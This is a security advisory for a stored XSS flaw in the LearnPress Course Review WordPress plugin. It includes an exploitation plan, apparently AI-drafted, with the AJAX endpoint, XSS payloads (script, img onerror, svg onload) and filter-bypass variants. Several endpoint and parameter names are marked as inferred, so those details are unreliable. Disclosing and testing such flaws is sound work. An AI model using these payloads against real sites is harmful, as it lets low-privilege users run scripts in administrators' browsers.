LearnPress – Course Review <= 4.1.9 - Authenticated (Learnpress student+) Stored Cross-Site Scripting
Description
The LearnPress – Course Review plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with learnpress student-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.1.9Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-24361 ## 1. Vulnerability Summary The **LearnPress – Course Review** plugin (<= 4.1.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently sanitize user-supplied input when su…
Show full research plan
Exploitation Research Plan - CVE-2026-24361
1. Vulnerability Summary
The LearnPress – Course Review plugin (<= 4.1.9) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize user-supplied input when submitting a course review and subsequently fails to escape that data when rendering it on course pages. This allows an attacker with "Student" level privileges or higher to inject malicious scripts that execute in the context of any user (including administrators) viewing the course reviews.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
lp_review_course(inferred from plugin naming conventions and common LearnPress patterns) - Vulnerable Parameter:
review_contentand/orreview_title(inferred) - Authentication: Required (LearnPress Student role or higher)
- Preconditions:
- LearnPress and LearnPress – Course Review must be active.
- At least one Course must exist and be open for reviews.
- The attacker must have a user account with the
lp_studentrole.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX handler in
inc/class-lp-course-review.php(or similar) usingadd_action( 'wp_ajax_lp_review_course', ... ). - Input Handling: The callback function (e.g.,
add_review()) retrieves review data from$_POST['review_content']and$_POST['review_title']. - Storage: The data is stored in the database, likely using
wp_insert_comment()(withcomment_typeset toreview) or as Post Meta, without rigorous sanitization (e.g., missingwp_kses). - Rendering: When a user views the course page, the plugin retrieves these reviews and echoes the content in a template file (e.g.,
templates/course-reviews.phpor inside areview-itemloop) without usingesc_html()orwp_kses_post().
4. Nonce Acquisition Strategy
The plugin likely enqueues a script and localizes the required AJAX configuration, including a nonce.
- Identify Trigger: Course reviews are typically displayed on the single course page.
- Setup Content: Create a course and ensure the Review tab is enabled.
- Navigate: Use
browser_navigateto visit the URL of the created course as a logged-in Student. - Extract: Use
browser_evalto extract the nonce from the localized JavaScript object.- Inferred Variable:
window.lp_course_review_configorwindow.lp_course_review. - Inferred Key:
nonceor_lp_course_review_nonce. - Command:
browser_eval("window.lp_course_review?.nonce")
- Inferred Variable:
5. Exploitation Strategy
The goal is to submit a review containing a script payload as a Student user.
- Authentication: Log in as a user with the
lp_studentrole. - Preparation: Navigate to a course page to obtain the valid
course_idand thenonce. - Request: Send a POST request to
admin-ajax.php.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=lp_review_course course_id=[COURSE_ID] review_title=Great Course <script>alert('XSS_TITLE')</script> review_content=This is a review <img src=x onerror=alert('XSS_CONTENT')> rating=5 _lp_course_review_nonce=[NONCE]
- URL:
- Verification: Navigate to the course page as an Administrator and check for the execution of the
alert()payloads.
6. Test Data Setup
- Plugin Installation: Ensure
learnpressandlearnpress-course-review(v4.1.9) are active. - Create Student:
wp user create student student@example.com --role=lp_student --user_pass=password - Create Course:
wp post create --post_type=lp_course --post_title="Vulnerable Course" --post_status=publish - Enroll Student (Optional, depending on plugin settings):
wp eval "learn_press_enroll_user_in_course(get_user_by('email', 'student@example.com')->ID, [COURSE_ID]);" - Review Settings: Ensure "Enable Course Review" is checked in LearnPress settings.
7. Expected Results
- The AJAX request should return a success response (likely JSON
{"success": true}). - When any user views the "Vulnerable Course" page, the browser should execute the injected JavaScript, resulting in an alert box.
- The raw HTML of the course review section will contain the unescaped tags:
<script>alert('XSS_TITLE')</script>.
8. Verification Steps
- Confirm Storage via CLI:
wp comment list --comment_type=review(If reviews are comments)
ORwp post meta list [COURSE_ID](If reviews are stored in meta) - Check for Unsanitized Content:
wp db query "SELECT comment_content FROM wp_comments WHERE comment_type='review' ORDER BY comment_ID DESC LIMIT 1" - HTTP Verification:
Usehttp_requestas an unauthenticated user or Admin to fetch the course page and grep for the payload string.
9. Alternative Approaches
- Payload Location: If
review_contentis sanitized, try injecting intoreview_titleor theratingparameter (if it is reflected as a string/attribute). - Bypass
wp_kses: If basic tags are allowed but incorrectly handled, try<svg/onload=alert(1)>or<details open ontoggle=alert(1)>. - AJAX Context: Some LearnPress addons use a custom API route. If
admin-ajax.phpreturns 400, search the source forregister_rest_routeto see if reviews are submitted via the REST API.
Summary
The LearnPress – Course Review plugin for WordPress (<= 4.1.9) is vulnerable to Stored Cross-Site Scripting (XSS) due to a lack of input sanitization and output escaping on course reviews. Authenticated attackers with Student-level privileges can inject malicious scripts into review titles or content, which then execute in the context of any user viewing the course reviews.
Exploit Outline
To exploit this vulnerability, an attacker must be authenticated with at least the 'lp_student' role. First, the attacker navigates to a course page to retrieve a valid 'course_id' and the AJAX nonce (likely found in the localized 'lp_course_review_config' JavaScript object). Next, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action set to 'lp_review_course'. The payload includes the course ID, the nonce, a rating, and the XSS payload (e.g., <script>alert(1)</script>) within the 'review_title' or 'review_content' parameters. Once submitted, the script is stored and will execute whenever a user, including an administrator, views the reviews on that course page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.